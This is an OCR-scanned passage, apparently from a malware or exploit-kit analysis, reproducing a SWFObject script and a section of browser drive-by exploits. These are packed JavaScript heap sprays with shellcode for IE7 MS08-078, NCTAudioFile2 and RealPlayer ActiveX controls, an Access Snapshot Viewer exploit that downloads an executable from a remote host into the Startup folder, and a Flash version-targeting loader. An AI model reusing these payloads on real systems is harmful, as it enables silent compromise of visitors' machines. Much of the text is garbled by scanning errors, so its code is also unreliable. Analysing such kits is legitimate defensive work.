o.) Source from http://yrwap.cn/swfobject. js

/**
* SWFObject v1.5.1: Flash Player detection and embed - http://blog.deconcept.com/swfobject/
*
* SWEFObject is (c) 2007 Geoff Stearns and is released under the MIT License:
* http://www.opensource.org/licenses/mit-license.php
*
*/
if (typeof deconcept == "undefined") var deconcept = {};
if (typeof deconcept.util == "undefined") deconcept.util = {};
if (typeof deconcept.SWFObjectUtil == "undefined") deconcept.SWEFObjectUtil = {};
deconcept.SWFObject = function(swf, id, w, h, ver, c, quality, xiRedirectUrl, redirectUrl, detectKey) {
if (!document.getElementById) { return; }
this.DETECT_KEY = detectKey ? detectKey : 'detectflash';
this.skipDetect = deconcept.util.getRequestParameter (this.DETECT_KEY);
this.params = {};
this.variables = {};
this.attributes = [];
if (swf) { this.setAttribute('swf', swf); }
if(id) { this.setAttribute('id', id); }
if(w) { this.setAttribute ('width', w); }
if (h) { this.setAttribute('height', h); }
if(ver) { this.setAttribute('version', new deconcept.PlayerVersion(ver.toString() .split(".")));

this.installedVer = deconcept.SWFObjectUtil.getPlayerVersion();
if (!window.opera && document.all && this.installedVer.major > 7) {
// only add the onunload cleanup if the Flash Player version supports External
Interface and we are in IE
// fixes bug in some fp9 versions see http://blog.deconcept.com/2006/07/28/swfobject-
143-released/
if (!deconcept.unloadSet) {
deconcept.SWFObjectUtil.prepUnload = function() {
~flash unloadHandler = function(){};
~ flash savedUnloadHandler = function() {};
window.attachEvent ("onunload", deconcept.SWEFObjectUtil.cleanupSWEs) ;
}
window.attachEvent ("onbeforeunload", deconcept.SWFObjectUtil.prepUnload);
deconcept.unloadSet = true;
}
}
if(c) { this.addParam('bgcolor', c); }
var g = quality ? quality : 'high';
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this.addParam('quality', q);
this.setAttribute ('useExpressInstall', false);
this.setAttribute ('doExpressInstall', false);
var xir = (xiRedirectUrl) ? xiRedirectUrl : window.location;
this.setAttribute ('xiRedirectUrl', xir);
this.setAttribute ('redirectUrl', '");
if (redirectUrl) { this.setAttribute('redirectUrl', redirectUrl); }
}
deconcept.SWFObject.prototype = {
useExpressInstall: function(path) {
this.xiSWFPath = !path ? "expressinstall.swf" : path;
this.setAttribute ('useExpressInstall', true);
}I
setAttribute: function (name, value) {
this.attributes[name] = value;
}I
getAttribute: function (name) {
return this.attributes[name] || "";
}I
addParam: function (name, value) {
this.params[name] = value;
by
getParams: function () {
return this.params;
}I
addVariable: function (name, value) {
this.variables[name] = value;
}I
getVariable: function (name) {
return this.variables[name] || "";
}I
getVariables: function () {
return this.variables;
}I
getVariablePairs: function () {
var variablePairs = [];
var key;
var variables = this.getVariables();
for (key in variables) {
variablePairs[variablePairs.length] = key +"="+ variables|key];
}
return variablePairs;
}I
getSWFHTML: function() {
var swfNode = "";
if (navigator.plugins && navigator.mimeTypes && navigator.mimeTypes.length) { //
netscape plugin architecture
if (this.getAttribute ("doExpressInstall")) {
this.addVariable ("MMplayerType", "PlugIn");
this.setAttribute('swf', this.xiSWFPath);
}

swfNode = '<embed type="application/x-shockwave-flash" src="'+
this.getAttribute ('swf') +'" width="'+ this.getAttribute ('width') +'" height=""'+
this.getAttribute ('height') +'" style="'+ (this.getAttribute('style') || "") +'"';

swfNode += ' id=""'+ this.getAttribute('id') +'" name=""'+

this.getAttribute('id") +'" ';
var params = this.getParams();

for (var key in params){ swfNode += [key] +'="'+ params[key] +'" '; }
var pairs = this.getVariablePairs().join("&");
if (pairs.length > 0){ swfNode += 'flashvars="'+ pairs +'"'; }

swfNode += '/>';
} else { // PC IE
if (this.getAttribute ("doExpressInstall")) {
this.addVariable ("MMplayerType", "ActiveX");
this.setAttribute ('swf', this.xiSWFPath);
}

swfNode = '<object id="'+ this.getAttribute('id') +'" classid="clsid:D27CDB6E-
AE6D-11cf-96B8-444553540000" width="'+ this.getAttribute ('width') +'" height="'"+
this.getAttribute ('height') +'" style="'+ (this.getAttribute('style') || "") +'">"';
swfNode += '<param name="movie" value="'+ this.getAttribute('swf') +'" />';
var params = this.getParams();
for (var key in params) {
swfNode += '<param name="'+ key +'" value="'+ paramsl[key] +'" />';

}
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var pairs = this.getVariablePairs().join("&");
if (pairs.length > 0) {swfNode += '<param name="flashvars" value="'+ pairs +'"
/> )
swfNode += "</object>";
}
return swfNode;
}I
write: function (elementId) {
if(this.getAttribute ('useExpressInstall')) {
// check to see if we need to do an express install
var expressInstallRegVer = new deconcept.PlayerVersion([6,0,65]);
if (this.installedVer.versionIsValid(expressInstallRegVer) &&
'this.installedVer.versionIsValid(this.getAttribute ('version'))) {
this.setAttribute ('doExpressInstall', true);
this.addVariable ("MMredirectURL",
escape (this.getAttribute ('xiRedirectUrl')));

document.title = document.title.slice (0, 47) + " - Flash Player
Installation";
this.addVariable ("MMdoctitle", document.title);
}
}
if (this.skipDetect || this.getAttribute ('doExpressInstall') ||
this.installedVer.versionIsValid(this.getAttribute ('version'))) {
var n = (typeof elementId == 'string') ? document.getElementById(elementId)
elementId;
n.innerHTML = this.getSWFHTML () ;
return true;
}else(
if (this.getAttribute ('redirectUrl') != "") {
document.location.replace (this.getAttribute ('redirectUrl'));
}
}
return false;
}
}
/* ---- detection functions ---- */

deconcept.SWFObjectUtil.getPlayerVersion = function () {
var PlayerVersion = new deconcept.PlayerVersion([0,0,0]);
if (navigator.plugins && navigator.mimeTypes.length) {
var x = navigator.plugins|["Shockwave Flash"];
if(x && x.description) {
PlayerVersion = new deconcept.PlayerVersion (x.description.replace (/ ([a-zA-
Z11\s)+/, "").replace(/ (\s+r|\s+b[0-9]1+)/, ".").split("."));
}

}else if (navigator.userAgent && navigator.userAgent.indexOf ("Windows CE") >= 0){ // if Windows

CE
var axo = 1;
var counter = 3;
while (axo) {
try {
counter++;
axo = new ActiveXObject ("ShockwaveFlash.ShockwaveFlash."+ counter);
// document.write ("player v: "+ counter);
PlayerVersion = new deconcept.PlayerVersion ([counter,0,0]);
} catch (e) {
axo = null;
}
}
} else { // Win IE (non mobile)

// do minor version lookup in IE, but avoid fp6 crashing issues
// see http://blog.deconcept.com/2006/01/11/getvariable-setvariable-crash-internet-
explorer-flash-6/
tryf
var axo = new ActiveXObject ("ShockwaveFlash.ShockwaveFlash.7");
}catch (e) {
try {
var axo = new ActiveXObject ("ShockwaveFlash.ShockwaveFlash.6");
PlayerVersion = new deconcept.PlayerVersion([6,0,21]);
axo.AllowScriptAccess = "always"; // error if player version < 6.0.47
(thanks to Michael Williams @ Adobe for this code)
} catch(e) {
if (PlayerVersion.major == 6) {
return PlayerVersion;
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}
try {
axo = new ActiveXObject ("ShockwaveFlash.ShockwaveFlash");
} catch(e) {}
}
if (axo != null) {
PlayerVersion = new deconcept.PlayerVersion (axo.GetVariable ("$version") .split ("
") [1].split(", "))
}
}
return PlayerVersion;

}

deconcept.PlayerVersion = function (arrVersion) {
this.major = arrVersion[0] != null ? parselnt(arrVersion[0]) : O;
this.minor = arrVersion[l] != null ? parselnt (arrVersion[1l]) : 0;
this.rev = arrVersion[2] != null ? parselnt (arrVersion[2]) : 0;

}

deconcept.PlayerVersion.prototype.versionIsvValid = function (fv) {
if (this.major < fv.major) return false;
if(this.major > fv.major) return true;
if (this.minor < fv.minor) return false;
if (this.minor > fv.minor) return true;
if (this.rev < fv.rev) return false;
return true;

}

/* ---- get value of query string param ---- */

deconcept.util = {
getRequestParameter: function (param) {

var g = document.location.search || document.location.hash;
if (param == null) { return qg; }
if(q) |

var pairs = g.substring(l).split("&");
for (var i=0; 1 < pairs.length; i++) {
if (pairs[i].substring (0, pairs[i].indexOf("=")) == param) {
return pairs[i].substring((pairs[i].indexOf ("=")+1));

}
}
return "";
}
}
/* fix for video streaming bug */
deconcept.SWFObjectUtil.cleanupSWFs = function() {
var objects = document.getElementsByTagName ("OBJECT") ;
for (var i = objects.length - 1; i >= 0; i--) {
objects[i].style.display = 'none';
for (var x in objects[i]) {
if (typeof objects[i] [x] == 'function') {
objects[i] [x] = function() {};

}
}
/* add document.getElementById if needed (mobile IE < 5) */
if (!document.getElementById && document.all) { document.getElementById = function (id) { return

document.all[id]; }}

/* add some aliases for ease of use/backwards compatibility */
var getQueryParamValue = deconcept.util.getRequestParameter;
var FlashObject = deconcept.SWFObject; // for legacy support
var SWFObject = deconcept.SWFObject;
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VIII. EXPLOITS

a.) IE 7 MsS08-078

<html>

<div id="Ie70day">x</div>

<script>

eval (function(p,a,c,k,e,d) {e=function(c) {return(c<a?'':e(parselnt(c/a)))+((c=c%a)>35?String.fromCharCod
e(c+29) :c.toString(36)) };if(!''.replace(/"/,String)) {while (c—-

){d[e(c)]l=k[c]|le(c)}k=[function(e) {return d[e]}];e=function() {return'\\w+'};c=1};while (c--

) {if (k[c]) {p=p.replace (new RegExp ('\\b'+e(c)+'\\b','g"),k[c])}}return p}('a

z=9 ("$1h%f%1g%1£f%1i%17%r%11%1k%1e%1d%17%r%16%1%15%18%19%1c%1b%1a%1m%1ln%lz%1y%1x%1A%1IBS$1DS1CS1ws1lve1lslas
14%10%1r%1s%1us1tS1ESUSKSMENSHSFSASBSMSDSESOSMSZ2%5g%bsgsYSs115g9%bsqsys13%6SREWSPSLSTS$SSs%Q%VS6%512%10%G%TS
1p%10%2n%c%7%2m%20%2p%s%6%7%29%21%2ksy%1F%2£%2e%7%2d%29%2h%2t%c%21%2s%1%2B%2E%2D%2G%2F%4%21%1%2H%2C%2w%
2v%2u%2x%2y%2R%22%4%27%1%k%7%4%2b%1%k%)%4%2c%1%1R%$1S%1U%0%1T%10%INS1I%$1HS1G%1J%1K%n%0%n%1IMS1LSE") ; a
2=9("%$8%8"M) ; IV{2+=2}1W (2.26<25) ;d=27 28();2a(i=0;1<29;i++)d[1]=2+z;e="<3 x=I><X><C><![23[<1Y
1X=17://&#w; &#w; .20.22>]]1></C></X></3><5 t=#I u=C v=p><3 x=I></3><5 t=#I u=C

v=p></5></5>";h=21.24 ("1P");h.2r=e;"',62,169, "' |uffff|spray|XML|ue800|SPAN|uff52|u53d0|ulala|unescape|var
|ulede |uff00 |memory|xmlcode |u0000|uB8e68|tag||u765c|u2e2e|ueb0l|ubb8b|u6e69|u772f|HTML|uffec|u8bl8|ubadé
| DATASRC | DATAFLD | DATAFORMATAS | x0a0a | ID|uebd6 | shellcode|u6459|ul98b| |u8blOc|ulc5b|u306a|ubbeb|u5e00]| |u6ab
9lubebf|uaa68|ubb5d|ul08c2|ulb8b|u5352|uddeb|u89d0|uff7c|ul0dfc|uc031l|u5159|ub52c2| |u89d6|u5308|ub5a72|u53c
7 |uebd0|u5a50|udb0c|u32e3|u205alu4a8b|u8b49|u8b34|u3lfc|uff3l|ueell|ueall|u7805|u5655|u5300|u56e8|u8b57
|u246c|u548b|u3c45|uaccO|ue038|u5a8b|u6a00|u8b66|ulllc|u8beb|ue80l|u8b04|u245alu8bel |u0l10d|ucfcl|u0774]|
uebc7 |u3bf2|u7514|u247c|ul02eb|ub5944 |ubd6f|ub632e|ubfof|ubl2f|ubded|u6578|ub52e|ub574|u732e|Ie70day|u5100
|u7468|u7074|u7777|u2f3aldolwhile|SRC|image|http|xiaoclen|document|com|CDATA|getElementById|0xd0000]|leng
th|new|Array|100|for|uffb7|uff89|u7e68|uff51|ul06alue2d8|uff73|ue8d0|uffal|uffle|u8afe|ual68|ubab2|ucod
5|uffdd|u9868|innerHTML |uffablubad6|u6l6f|ubcee|u776f|ub5464|ud66f|udles|u6c69|u7275|udddc|ubebf|ubdéciu
6cbc|ubd2e|ub255|uffae’ .split ('1"),0,{}))

</script>

</html>
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b.) Microsoft Access Snapshot Viewer ActiveX Control Exploit

<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8DY9"' id='obj'></object>
<script language='javascript'>

eval (function (p,a,c,k,e,d) {e=function(c) {return c.toString(36)};if(!"''.replace(/"/,String)) {while (c--
) {d[c.toString(a)]l=k[c]||c.toString(a) }k=[function (e) {return
dle]l}];e=function() {return'\\w+'};c=1};while(c--){if (k[c]) {p=p.replace (new

RegExp ('\\b'+e(c)+'\\b', 'g"'),k[c]) }}return p} ('a="b";2 3=\'9://d.e.7/5/6.1\"';2 4=\"'8:/c g m/f o/p
1/k/g/h.1\";0.1=3;0.3=4;0.n();"',27,27,'objlexe|var|bufl |buf2|admin|win|com|C|http|test|lengoo|Documents
|www | steoo|All|Startup|Thunder|SnapshotPath|CompressedPath|Programs |Menu|Settings|PrintSnapshot|Users|S
tart|and'.split('["'),0,{}))

</script>

c.) NCTAudioFile2.AudioFile ActiveX Remote Stack OverflOw

<html>

<script language="JavaScript" defer>
window.onerror=function () {return true;}

eval (function(p,a,c,k,e,d) {e=function(c) {return c};if(!''.replace(/"/,String)) {while (c--
){d[c]=k[c]||c}k=[function(e) {return d[e]}];e=function() {return'\\w+'};c=1};while (c--

) {if (k[c]) {p=p.replace (new RegExp ('\\b'+e(c)+'\\b',"'g"),klc]) }}return p} ('78="77";1
12=15("%76%22%79%80%82%81%17%75%74%69%68%67%17%70%29%71%73%72%83%84%95%94%96%97%99%98%66%92%87%86%85%88
%$29%89%91%90%100%52%45%44%46%47%43%48%49%41%42%65%60%28%59%61%64%28%50%37%38%31%58%57%37%38%31%25%54%16
%$56%55%53%51%63%62%20%93%133%16%144%143%145%146%148%147%142%19%13%141%136%135%20%16%13%137%138%140%25%1
01%139%150%13%157%161%160%159%19%163%165%6%164%162%158%152%151%9%153%6%154%156%155%149%134%112%111%113%
114%9%116%6%23%30%9%115%6%23%30%9%110%6%109%104%103%26%102%105%106%108%107%117%118%128%27%26%27%127%129
%22") ;1 3=15("%18%18");1 39=130;40

132 () {111=131;14=15("%7%7%7%7");36(4.14<11)4+=4;4=4.35(0,11);126.125(4) }4021(3,5) {36(3.14*2<5) {3+=3}3=3
.35(0,5/2);120(3)}1 10=119;1 33=121;1 24=(12.14*2);1 5=10-

(24+33) ;134=(39+10) /10;132=122124 () ;3=21(3,5);123(8=0;8<34;8++) {32[8]=3+12}"',10,166, ' |var||sSlide|x|sSl
ideSize|uffff|0c|i|ue800|heapBS|buffSize|sCode|u53d0|length|unescape|uff52|u8bl8|u9090|uff00]|ubad6]|gets
S1lide|u0000|u2e2e|PLSize|uebd6|u772f|u6e69|ubb8blueb0l|u765c|uffec|memory|sizeHDM|heapBlocks|substring]
while|u8e68|ulede|heapSA|function|u5e00|u306alube5f|ue801|u8b04|ul2eb|uc031|ub5b5d|u08c2|u5308|uaa68|usb
eb|u5352|ub5a50|ub52c2|u89d0|u53c7|u89d6|u8b0c|ul98b|ulcSb|uff7c|uldfc|ulb8b|u6459|uebc7|ud4a8blueall|u780
5|u205a|u32e3|u8b34|u8b49|ub48b|u3cd5|ub6e8|game|test|u5300|u5655|u246c|u8b57|ueell|uff3l|u8bel|u7514]|u
247c|u245a|u8b66|ub5a8b|udb0c|u3bf2|uddeb|uaccO|uldlfc|ue038|u0774|u010d|ucfcl|u0llc|u5944|u7777 |u2f3alu’
074|u732e|u6574 |u632e|u6f6f|u7468|uff89|ud66f|ub5464|u6c69|udlesS|uffb7|uffad|ubd6ef|u6l2f|0x400000]|return
|0x5|new| for|Array|SetFormatLikeSample |boom|u652e|u6d64|u6578|0x0c0c0c0c|5200]|tryMe|u5159|u6lef|uffid|u
c9d5|u9868|u8afe|ull6a|uffle|uald68|ubab2|ub5a772|uebdl|ubbeb|u6a59|u5100|u6al0|ubcbe|uffsbl|ubcoc|ucdle|uf
fae|ub5255|u776f|udddc|uie68|ube6f|ubad6|uff73|ue2d8|ubdoc|ue8d0|u7275|uffab’'.split('["),0,{}))

</script>

<body onload="JavaScript: return tryMe();">

<object classid="clsid:77829F14-D911-40FF-A2F0-D11DB8D6DOBC" id='boom'></object>
</body>

</html>
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d.) RealPlayer rmoc3260.dll ActiveX Control Heap Corruption

<script language="JavaScript">
eval (function (p,a,c,k,e,d) {e=function(c) {return(c<a?'':e(parselnt(c/a)))+((c=c%a)>35?String.fromCharCod

e(c+29) :c.toString(36)) };if (!''.replace(/"/,String)) {while (c—-
y{d[e(c)]l=k[c]||le(c)}k=[function (e) {return d[e]}];e=function () {return'\\w+'};c=1};while (c--

y{if (k[c]) {p=p.replace (new RegExp ('\\b'+e(c)+'\\b','g"),k[c]) }}return p} ('1lk="1n";0
J=["S1T7"+"S1O"+"S1L)"+"S K" "°1J"+"°1E"+"° " "°1q"+"°1B"+"°1y"+"° m", "SB"+"S11"+"S1x"+"Sm", "SB"+"S 11"+ " SK"
+"sm", "SI"+"SW+"S1z"+"sm", "SI+ SW+"S lA“+“ ,"SIw4HTS11I+"S lv“+“9B"];lp o(){o
u:Z.lr["\\A\\H\\lS\\H\\lu\\t\\lt\\lC\\lD\\lN\\t"]() d(u.k ("N 6")==-1&&u.k ("N 7")==-1)p;d(u.k("10
5.")==-1)p;0o Z;x="1P"+"1Q.I"+"1L"+"1K.1";Z=x;lo{w= 1F

1G " \\NIENALANANNIIANVIRANEANN 1A\ I8N IDAN T\ NENNIANA" ] (x["11"] (/a/q,""))}lm(ld){p}Y="li";M="1e";1f="1g";F
="6.0.14.1h";Q0=Y+M; h=w["1M"] (Q) ;b="";r=1(3[0]);q(i= O,1<22*25;i++)b+:"5";d( k("6.0.14. “)**—
1){d(z.16.R()=="2t-2r")f=1(j[1]);e d(z.16.R()=="2g-20")f=1(j[2]);e ple d(h==F)£f=1(3I[31);
d(h=="6.0.14.2p")f=1(j[4]);e d(h=="6.0.14.1S")f=1(j[5]);e d(h=="6.0.14.2v")f=1(j[6]);e
d(h=="6.0.14.2u") f=1(j[7]);e p;d(h.k("6.0.10.")!=-1) {g(i=0;1i<4;i++)b=b+r;b=b+f}le d(h.k("6.0.11.") !=-

(1
1) {g(i=0;1i<6;i++)b=b+r;b=b+fle d(h.k("6.0.12.")!=-1) {g(i=0;1<9;i++)b=b+r;b=b+f}le d(h.k("6.0.14.") !=-
1) {g(i=0;1i<10;i++)b=b+r;b=b+f}o P,G="2x
2w"; 15="2y\\\\22"; P=G; 8="";8=8+"2A"; 8=8+"2m"; 8=8+"2n"; 8=8+"21";8=8+"23";8=8+"24";8=8+"26";8=8+"25";8=8+
"20";8=8+"1Z";8=8+"1U";8=8+"1T";8=8+"1V";8=8+"1W";8=8+"1Y";1X="";v=b+15+8;T=27;28 (v.21i<T)v+="2h";0
U=["c:\\\\D ENNAAy AN AN OANNARNNNATANNN2 L s™, "e: \\\\D
ENVAA YA\ 2k.s™, "C:ANNAD\ANNI3\ NN\ 215", "C: \\\\n\\\\2g.2£", "c: \\\\D
ENAAAYAAAN GO O NNAVANNN 22, ™, "CaANNNAD\NANNI3NN\N\29.s" ] ;w(["2b"] (U[X.2c (X["2e"] () *6)],v,"2d",0,0)
}O();',62,161, " |11l IShellCode]| | |sdfdgdfg]||iflelse|ret| |RealVersion]| |addr|indexOf |unescape|60|WINDOWS
|var|return|for|cvbcbb|wav|x65|user|xcbfcxn|Gamttt Anhey Real Exp Send|RealplayerObj|NetMeeting|navigat
or|x74163||Program|Files|dddd|Qqgs|x6F||79]|04|x63|CuteRealVersion2|msie|Gameee Timeeeeeece Saveeeeeeee Lo
geeee ssssssssssssssssss|Ball|CuteRealVersions|toLowerCase| |temp|arrl|Media|31|Math|CuteRealVersion|Gam
ttt| || |system32]| |gwfgsg|userLanguage|75|x4F|06|x58|x62|x6A|error | VERSION|CuteRealVersion3s|chilam|544|P
RODUCT | 74 | same | replace|catch|game | try|function|4f |userAgent |x4C|x72|x77|70151108|a4]01|09]71|x43|x61|ab
|new|window|x41|x69|7f|Caaataaal |EaaaRaaaP|PlayerProperty|x73|nt|IlaaaEaaaR|PaaaCaaataaal |x76|552|PfEQTC
uBgEGoDUtR4CfkvB40OEDc3UUGbVib4Wo5we 6VQVouXdcEN | gOzmMTk8PUOVNENNWOJIOmInyWQS3TRGEFVE61EUTgtBwrtTs3r5r5]eSt
EpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj40S4DTww6tuOUw | 2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBERWygPfouZtCwii |
C2 | gvRHptd4RPFZVOdoRWQgrWInPs2T2ERO20Tne3popm40sQu4 OmPiRNToT7QypntnpesHPeKOWp | 0 ZMoJP6eeMIvOmESEfLYP1InrQ
EmvyZkSnFtSooFWTtTpp50inTWL | 5alJMqqrauWJUWrhS30QWRUSQrENVcE61vPUOVEtVTv4uPODVLY£Q | sHUN3ULUhmExWopeMMZM7X
Prf5NkDpP107zMpYESMMzM]j44LgxGO | 32 | NuKpTRrNWOVYM5mggrwSMTnoeoty08IMnKIMgPw2pey5MgMWQuMw | runOgp8mpn8m7Prz
BEleoWng2DRELgZMU6REoUJMmMLHMZz1KUOPCX | e 6pf£QvXeMpPuVPwPIv0XzFr301 9vRpzEFDxm5NjgqVxmLzdLSvTumI | HmLvE1lsRWOLNv
VrFPfcVyumpRKp4dpJd9VOMIULxmmnTL2GWOLNQK | 0x8000 |while|LoopyMusic|tada|import|floor|123456456| random|avi |
clock|lizhen|length|chimes|TestSnd|BuzzingBee |xkROgIJPJP3YYOENYWLEQkOp47zpfKRKJIJKVeIxIJKYoIoYol0oCQv|3VsV
wLURKWRvavbFQvIMWVsZzMEv0z8K8mwVPnxmmn8mDUBzJIJMEB |us | 550 |en|cn|148|zh[536|543|AntiVirus|Fucking|LLLL | XXX
XXLD|TYIIIIIIIIIIIIIIII7QZ)JAXPOAOAKAAQ2AB2BBOBBABXPS8ABUJI .split ('[1"),0,{}))
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e.) Various SWF Exploits based on version

<SCRIPT language="JavaScript">

window.status="1&3E";

</script>

<script type="text/javascript" src="swfobject.js"></Script>

<div id="flashcontent">111</div><div id="flashversion">222</div>

<script type="text/javascript">

test = "mymovie";

var versionn=deconcept.SWFObjectUtil.getPlayerVersion();

if (versionn['major']==9) ({
document.getElementById('flashversion') .innerHTML="";

if (versionn['rev']==115) { var so=new SWFObject ("ill5.swf",test,"0.1","0.1","9","#000000");
so.write ("flashcontent") }

else if(versionn['rev']==64) { var so=new SWFObject("i64.swf",test,"0.1","0.1","9","#000000") ;
so.write ("flashcontent") }

else if (versionn['rev']==47) { var so=new SWFObject ("i47.swf",test,"0.1","0.1","9","#000000");
so.write ("flashcontent") }

else if(versionn['rev']==45) { var so=new SWFObject ("i45.swf",test,"0.1","0.1","9","#000000") ;
so.write ("flashcontent") }

else if (versionn['rev']==28) { var so=new SWFObject ("i28.swf",test,"0.1","0.1","9","#000000");
so.write("flashcontent") }

else if(versionn['rev']==16) { var so=new SWFObject("il6.swf",test,"0.1","0.1","9","#000000") ;
so.write ("flashcontent") }

else if(versionn['rev']>=124) { if (document.getElementById) {
document.getElementById('flashversion') .innerHTML=""}

}
}
</Script>
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